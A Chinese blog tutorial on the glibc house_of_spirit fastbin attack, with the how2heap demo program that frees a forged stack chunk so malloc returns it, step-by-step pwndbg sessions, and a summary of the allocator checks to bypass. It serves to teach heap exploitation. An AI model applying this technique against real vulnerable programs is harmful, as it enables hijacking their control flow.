从零开始学howtoheap:fastbins的house_of_spirit攻击1

 how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击

house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.house_of_spirit演示程序

#include 
#include 

int main()
{
    fprintf(stderr, "这个例子演示了 house of spirit 攻击\n");

    fprintf(stderr, "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n");
    malloc(1);

    fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");
    unsigned long long *a, *b;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

    fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");
    fake_chunks[1] = 0x40; // size

    fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
        // 这是fake_chunks[?]可以数一下
    fake_chunks[9] = 0x1234; // nextsize
    fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[10] = 0x4141414141414141LL;

    fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
    a = &fake_chunks[2];

    fprintf(stderr, "free!\n");
    free(a);

    fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
    b = malloc(0x30);
    fprintf(stderr, "malloc(0x30): %p\n", b);
    b[0] = 0x4242424242424242LL;
    fprintf(stderr, "ok!\n");
    return 0;
}

3.调试house_of_spirit

3.1 获得可执行程序 

gcc -g house_of_spirit.c -o house_of_spirit

3.2 第一次调试程序

调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_spirit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_spirit...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit 
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7fffffffe568 第二个在 0x7fffffffe5a8.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570
ok!
[Inferior 1 (process 68) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 首先在程序的第 14 行下个断点

运行到这里可以看到 fake_chunk 目前还没有被我们写入。

pwndbg> b 14
Breakpoint 1 at 0x400721: file house_of_spirit.c, line 14.
pwndbg> c
The program is not being run.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit 
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针

Breakpoint 1, main () at house_of_spirit.c:15
15          fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x25
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x400900 (__libc_csu_init+80) ◂— add    dword ptr [rax + 0x39], ecx
 R8   0x25
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe550 ◂— 0x1
 RIP  0x400721 (main+123) ◂— mov    rax, qword ptr [rip + 0x200938]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400721     mov    rax, qword ptr [rip + 0x200938] <0x601060>
   0x400728     lea    rdx, [rbp - 0x60]
   0x40072c     lea    rcx, [rdx + 0x48]
   0x400730     lea    rdx, [rbp - 0x60]
   0x400734     add    rdx, 8
   0x400738     mov    r8, rcx
   0x40073b     mov    rcx, rdx
   0x40073e     mov    edx, 0x50
   0x400743     mov    esi, 0x4009f8
   0x400748     mov    rdi, rax
   0x40074b     mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
   10 
   11     fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");
   12     unsigned long long *a, *b;
   13     unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
   14 
 ► 15     fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
   16 
   17     fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");
   18     fake_chunks[1] = 0x40; // size
   19 
   20     fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 ◂— 0x1
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 —▸ 0x7fffffffe5e0 ◂— 0x1f7b99608
04:0020│      0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400721 main+123
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:14
pwndbg> p &fake_chunks
$1 = (unsigned long long (*)[10]) 0x7fffffffe560
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x00007fffffffe5e0
0x7fffffffe570: 0x00007ffff7ffe168      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x00000000004005b0
0x7fffffffe5b0: 0x00007fffffffe6a0      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> 
3.3.2 我们直接让他写完,断点第23行

再来看一下,已经构造出fake chunk了。

pwndbg> b 23
Breakpoint 2 at 0x4007a1: file house_of_spirit.c, line 23.
pwndbg> c
Continuing.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)

Breakpoint 2, main () at house_of_spirit.c:23
23          fake_chunks[2] = 0x4141414141414141LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x53
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x400b00 ◂— in     al, 0xbd
 R8   0x53
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe550 ◂— 0x1
 RIP  0x4007a1 (main+251) ◂— movabs rax, 0x4141414141414141
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4007a1     movabs rax, 0x4141414141414141
   0x4007ab     mov    qword ptr [rbp - 0x50], rax
   0x4007af     movabs rax, 0x4141414141414141
   0x4007b9     mov    qword ptr [rbp - 0x10], rax
   0x4007bd     mov    rax, qword ptr [rip + 0x20089c] <0x601060>
   0x4007c4     lea    rdx, [rbp - 0x60]
   0x4007c8     add    rdx, 0x10
   0x4007cc     mov    esi, 0x400b78
   0x4007d1     mov    rdi, rax
   0x4007d4     mov    eax, 0
   0x4007d9     call   fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
   18     fake_chunks[1] = 0x40; // size
   19 
   20     fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
   21         // 这是fake_chunks[?]可以数一下
   22     fake_chunks[9] = 0x1234; // nextsize
 ► 23     fake_chunks[2] = 0x4141414141414141LL;
   24     fake_chunks[10] = 0x4141414141414141LL;
   25 
   26     fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
   27     a = &fake_chunks[2];
   28 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 ◂— 0x1
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4007a1 main+251
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:23
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x00007ffff7ffe168      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x00007fffffffe6a0      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> 
3.3.3对fake chunk进行free之后。断点第30行

可以看一下fastbin,现在已经有了我们构造的哪个fake chunk了。

pwndbg> b 30
Breakpoint 3 at 0x400808: file house_of_spirit.c, line 30.
pwndbg> c
Continuing.
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!

Breakpoint 3, main () at house_of_spirit.c:30
30          free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x6
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x400b00 ◂— in     al, 0xbd
 R8   0x6
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'
 RIP  0x400808 (main+354) ◂— mov    rax, qword ptr [rbp - 0x70]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400808     mov    rax, qword ptr [rbp - 0x70]
   0x40080c     mov    rdi, rax
   0x40080f     call   free@plt <0x400540>
 
   0x400814     mov    rax, qword ptr [rip + 0x200845] <0x601060>
   0x40081b     lea    rdx, [rbp - 0x60]
   0x40081f     add    rdx, 0x10
   0x400823     mov    esi, 0x400bc8
   0x400828     mov    rdi, rax
   0x40082b     mov    eax, 0
   0x400830     call   fprintf@plt <0x400570>
 
   0x400835     mov    edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
   25 
   26     fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
   27     a = &fake_chunks[2];
   28 
   29     fprintf(stderr, "free!\n");
 ► 30     free(a);
   31 
   32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
   33     b = malloc(0x30);
   34     fprintf(stderr, "malloc(0x30): %p\n", b);
   35     b[0] = 0x4242424242424242LL;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 ◂— 'AAAAAAAA'
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400808 main+354
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:30
pwndbg> n
32          fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b04200 (__openat_2+16) ◂— cmp    eax, 0x410000 /* '=' */
 RDX  0x0
 RDI  0xffffffff
 RSI  0x7ffff7dd1b38 (main_arena+24) —▸ 0x7fffffffe560 ◂— 0x1
 R8   0x7fffffffe570 ◂— 0x0
 R9   0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add    byte ptr [r15 + 0x5f], bl /* 'C' */
 R10  0x8b8
 R11  0x7ffff7a914f0 (free) ◂— push   r13
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
 RIP  0x400814 (main+366) ◂— mov    rax, qword ptr [rip + 0x200845]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400808     mov    rax, qword ptr [rbp - 0x70]
   0x40080c     mov    rdi, rax
   0x40080f     call   free@plt <0x400540>
 
 ► 0x400814     mov    rax, qword ptr [rip + 0x200845] <0x601060>
   0x40081b     lea    rdx, [rbp - 0x60]
   0x40081f     add    rdx, 0x10
   0x400823     mov    esi, 0x400bc8
   0x400828     mov    rdi, rax
   0x40082b     mov    eax, 0
   0x400830     call   fprintf@plt <0x400570>
 
   0x400835     mov    edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
   27     a = &fake_chunks[2];
   28 
   29     fprintf(stderr, "free!\n");
   30     free(a);
   31 
 ► 32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
   33     b = malloc(0x30);
   34     fprintf(stderr, "malloc(0x30): %p\n", b);
   35     b[0] = 0x4242424242424242LL;
   36     fprintf(stderr, "ok!\n");
   37     return 0;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
01:0008│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ r8   0x7fffffffe570 ◂— 0x0
... ↓
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400814 main+366
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe560 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> 
3.3.4 接下来再次malloc一个相同大小的chunk,断点第35行

会把fastbin中的fake chunk申请过去。

empty
pwndbg> b 35
Breakpoint 4 at 0x400860: file house_of_spirit.c, line 35.
pwndbg> c
Continuing.
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570

Breakpoint 4, main () at house_of_spirit.c:35
35          b[0] = 0x4242424242424242LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x1d
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x1d
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
 RIP  0x400860 (main+442) ◂— mov    rax, qword ptr [rbp - 0x68]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400860     mov    rax, qword ptr [rbp - 0x68]
   0x400864     movabs rcx, 0x4242424242424242
   0x40086e     mov    qword ptr [rax], rcx
   0x400871     mov    rax, qword ptr [rip + 0x2007e8] <0x601060>
   0x400878     mov    rcx, rax
   0x40087b     mov    edx, 4
   0x400880     mov    esi, 1
   0x400885     mov    edi, 0x400c0f
   0x40088a     call   fwrite@plt <0x400590>
 
   0x40088f     mov    eax, 0
   0x400894     mov    rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
   30     free(a);
   31 
   32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
   33     b = malloc(0x30);
   34     fprintf(stderr, "malloc(0x30): %p\n", b);
 ► 35     b[0] = 0x4242424242424242LL;
   36     fprintf(stderr, "ok!\n");
   37     return 0;
   38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
... ↓
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│      0x7fffffffe570 ◂— 0x0
... ↓
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400860 main+442
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:35
pwndbg> n
36          fprintf(stderr, "ok!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x7fffffffe570 ◂— 'BBBBBBBB'
 RBX  0x0
 RCX  0x4242424242424242 ('BBBBBBBB')
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x1d
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'
 RIP  0x400871 (main+459) ◂— mov    rax, qword ptr [rip + 0x2007e8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400860     mov    rax, qword ptr [rbp - 0x68]
   0x400864     movabs rcx, 0x4242424242424242
   0x40086e     mov    qword ptr [rax], rcx
 ► 0x400871     mov    rax, qword ptr [rip + 0x2007e8] <0x601060>
   0x400878     mov    rcx, rax
   0x40087b     mov    edx, 4
   0x400880     mov    esi, 1
   0x400885     mov    edi, 0x400c0f
   0x40088a     call   fwrite@plt <0x400590>
 
   0x40088f     mov    eax, 0
   0x400894     mov    rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
   31 
   32     fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
   33     b = malloc(0x30);
   34     fprintf(stderr, "malloc(0x30): %p\n", b);
   35     b[0] = 0x4242424242424242LL;
 ► 36     fprintf(stderr, "ok!\n");
   37     return 0;
   38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'
... ↓
02:0010│      0x7fffffffe560 ◂— 0x1
03:0018│      0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ rax  0x7fffffffe570 ◂— 'BBBBBBBB'
05:0028│      0x7fffffffe578 ◂— 0x0
06:0030│      0x7fffffffe580 ◂— 0x1
07:0038│      0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add    rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400871 main+459
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001      0x0000000000000040
0x7fffffffe570: 0x4242424242424242      0x0000000000000000
0x7fffffffe580: 0x0000000000000001      0x00000000004008fd
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0      0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141      0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608      0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000      0x21d19120b01fed91

3.4 总结

伪造chunk时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在64位系统中fast chunk的大小要在 32~128 字节之间。最后,是next chunk的大小,必须大于 2*SIZE_SZ(即大于16),小于 av->system_mem(即小于128kb),才能绕过对next chunk大小的检查。

​ 所以house_of_spirit的主要目的是,当我们伪造的fake chunk内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk里填充一些字母,但在现实中这些位置很可能是不可控的,而house_of_spirit也正是以此为目的而出现的。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

你可能感兴趣的:(逆向,二进制,Re,网络安全,安全,系统安全)